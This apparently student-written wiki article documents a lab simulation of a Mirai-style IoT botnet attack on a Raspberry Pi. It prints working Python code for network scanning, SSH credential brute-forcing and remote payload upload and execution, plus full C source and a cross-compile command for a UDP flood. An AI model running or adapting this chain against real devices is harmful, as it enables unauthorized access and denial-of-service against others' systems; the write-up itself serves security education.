IoT DDoS Attack

From Elvis Wiki

IoT Attack Simulation: A Practical Demonstration

Summary

This article presents a practical demonstration of an IoT-based attack, simulating a Distributed Denial of Service (DDoS) attack. The objective of this simulation is to understand the vulnerabilities in IoT devices and analyze their potential exploitation. Inspired by Mirai, the plan is to identify a vulnerable device by its IP address, infect it, and then use it to launch an attack on another device.

Attack Methodology

The attack simulation involves the following steps:

  1. Perform a network scan to identify active devices within the network (inspired by the Carna botnet scanning method[1]).
  2. Execute a brute-force attack to gain unauthorized access to the identified IoT device.
  3. Upload and execute a payload onto the compromised device to prepare for the attack.
  4. Use the compromised IoT device to launch a UDP Flood attack targeting a specific server.
  5. This attack should last for 30seconds and than stop by its self.

Experiment Setup

The experiment setup includes: Hardware: Raspberry Pi 2 as the attacking device This device was used as it simulated an IoT device and reflected the computational limitations of such devices.

Target server configured to monitor incoming traffic An Ubuntu Server 24.04.01 was deployed with 2 cores of an AMD Ryzen 5700u to simulate a desktop machine.

Software: Python scripts for scanning the network and executing brute-force attacks. A compiled C program to launch the UDP Flood attack. Network monitoring tool tcpdump to observe the impact of the attack.

Test Setup

Description of the Process

1. **Scanning the Network:**

  Using Python, a network scan was conducted to detect active devices in the local subnet. Each device's IP address and open ports were recorded for further analysis.
  The following code snippet defines the `find_raspberry_pi` function, which scans the private network `192.168.1.0/24` and identifies the Raspberry Pi 2 by its MAC address prefix:
   def find_raspberry_pi():
       print("Scanning network...\n")
       nm = nmap.PortScanner()
       raspberry_mac_prefix = "B8:27:EB".lower()
       network_range = '192.168.1.0/24'

       # Conducting the scan
       nm.scan(hosts=network_range, arguments='-p 22,80,8080 -sS')
       raspberry_ip = None

       for host in nm.all_hosts():
           print(f"Scanning host {host}...")
           if 'addresses' in nm[host] and 'mac' in nm[host]['addresses']:
               mac_address = nm[host]['addresses']['mac'].lower()
               print(f"Host {host} has MAC address {mac_address}")
               if mac_address.startswith(raspberry_mac_prefix):
                   print(f"\nRaspberry Pi found: {host} with MAC address {mac_address}\n")
                   raspberry_ip = host

       print("\nScan complete.")
       input("\n[Press Enter to proceed with brute-force...]\n")
       return raspberry_ip

2. **Brute-Force Attack:**

  A script attempted to gain access to the Raspberry Pi via SSH using a dictionary attack. Upon successful authentication, the payload was uploaded to the device.
# Brute-Force
def ssh_brute_force(ip):
    print(f"\nStarte Brute-Force-Angriff auf {ip}...\n")
    port = 22
    usernames = ['admin', 'user']
    passwords = ['1234', 'admin', 'password']
    local_file = "C:/Users/julia/Documents/VSCode/AKITS_BOT/akits/udp_flood"
    remote_path = f"/home/admin/udp_flood"

    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    for username in usernames:
        for password in passwords:
            try:
                print(f"Versuche: {username}:{password}")
                ssh.connect(ip, port=port, username=username, password=password, timeout=3)
                print(f"\nErfolgreich! Benutzer: {username}, Passwort: {password}\n")
                input("\n[Datei hochladen? Drücke Enter, um fortzufahren...]\n")
                upload_and_execute(ssh, username, local_file, remote_path)
                return
            except paramiko.AuthenticationException:
                print(f"Fehlgeschlagen für: {username}:{password}")
            except Exception as e:
                print(f"Fehler: {e}")

    ssh.close()

3. **Executing the Attack:**

  The payload was executed directly on the Raspberry Pi, targeting a designated server. The UDP Flood attack sent a high volume of packets over a duration of 30 seconds.
def upload_and_execute(ssh, username, local_file, remote_path):
    try:
        sftp = ssh.open_sftp()

        if os.path.exists(local_file):
            print(f"Datei gefunden: {local_file}")
        else:
            print(f"Datei nicht gefunden: {local_file}")
            return

        print(f"Lade {local_file} auf {remote_path} hoch...\n")
        sftp.put(local_file, remote_path)
        ssh.exec_command(f"chmod +x {remote_path}")
        input("\n[Achtung: Nach der nächsten Bestätigung beginnt der Flooding-Angriff. Drücke Enter, um fortzufahren...]\n")
        print(f"\nFühre {remote_path} aus...\n")
        stdin, stdout, stderr = ssh.exec_command(f"{remote_path}")
        print(stdout.read().decode())
        print(stderr.read().decode())

        sftp.close()
        ssh.close()
        print("\nDatei erfolgreich hochgeladen und ausgeführt.")
    except Exception as e:
        print(f"Fehler bei der Übertragung und Ausführung der Datei: {e}")

# Hauptlogik
raspberry_ip = find_raspberry_pi()

if raspberry_ip:
    ssh_brute_force(raspberry_ip)
else:
    print("\nKein Raspberry Pi gefunden. Das Skript wird beendet.")

The C Script

This script was the one actually uploaded to the Raspberry Pi 2 and executed. It is important to note that this script was not uploaded in its current form but first needed to be converted into a native binary format that the Raspberry Pi 2 can execute. This process has the significant advantage of removing the need for the Raspberry Pi 2 to convert the code into machine language during execution. The binary is already fully prepared to run as-is.

To achieve this, I used the GCC tool on Linux (Ubuntu). The exact command was:

arm-linux-gnueabihf-gcc -o udp_flood udp_flood.c

This command converts a file named udp_flood.c into a native binary called udp_flood, which can be executed directly by the Raspberry Pi 2.

It is crucial to take extra care here because the Raspberry Pi 2 runs Linux on an ARM chip, which requires using the appropriate cross-compiler (arm-linux-gnueabihf-gcc) to ensure compatibility with its architecture.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>  // Für sleep-Funktion

int main() {
    int sock;
    struct sockaddr_in target;
    char message[1024];
    time_t start_time, current_time;

    // Vordefinierte Ziel-IP und Ziel-Port
    char target_ip[] = "192.168.1.238";  // Ziel-IP hier festlegen
    int target_port = 22;               // Ziel-Port hier festlegen

    // Fülle die Nachricht mit Dummy-Daten
    memset(message, 'X', sizeof(message));

    // Erstelle das UDP-Socket
    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
        perror("Socket konnte nicht erstellt werden");
        exit(1);
    }

    // Setze die Ziel-IP und den Port
    target.sin_family = AF_INET;
    target.sin_port = htons(target_port);
    target.sin_addr.s_addr = inet_addr(target_ip);

    printf("Starte UDP-Flood auf %s:%d für 30 Sekunden\n", target_ip, target_port);
    
    // Starte die Zeitmessung
    time(&start_time);

    // Sende Pakete für 30 Sekunden
    do {
        sendto(sock, message, sizeof(message), 0, (struct sockaddr *)&target, sizeof(target));
        time(&current_time);
    } while (difftime(current_time, start_time) < 30);  // Laufzeit 30 Sekunden

    printf("UDP-Flooding-Angriff beendet.\n");

    close(sock);  // Schließe das Socket
    return 0;
}

4. **Monitoring the Network:**

  This experiment was conducted under two conditions:
  1. Without resource limitations on the target device (Ubuntu server). 
  2. With network throttling applied to the target device to simulate a stronger attack.

Findings

Under Condition 1 the attack occurred, but the server processed the traffic without significant disruption. It could handle the incoming packets and was able to be connected the whole time.

Unsuccessful attack

Under Condition 2, the attack significantly disrupted the server, causing packet loss and disconnections for logged-in users. Some packets were able to come througth. But none of the pings that were sent to the target.

Successful attack

Conclusion

This scenario is, of course, not at a level to execute actual attacks or pose any real-world threats. However, what it has impressively demonstrated is the capability to simulate an effective and practical IoT-based attack with minimal resources. Using less than 100 lines of code, the experiment replicated techniques employed by well-known botnets, such as Mirai and Carna, to highlight the simplicity and accessibility of such methods.

What makes this demonstration particularly striking is the low barrier to entry—leveraging common tools like Python and nmap alongside a Raspberry Pi, a device readily available and inexpensive. This underscores the reality that even basic hardware and software setups can exploit common IoT vulnerabilities, such as weak authentication mechanisms and open network ports.

While the attack itself was conducted under controlled and ethical conditions, it illustrates how quickly a targeted device could be identified, compromised, and weaponized to disrupt other systems. The experiment serves as a sobering reminder of the real-world risks posed by insecure IoT devices and the need for robust security measures to mitigate such threats.

References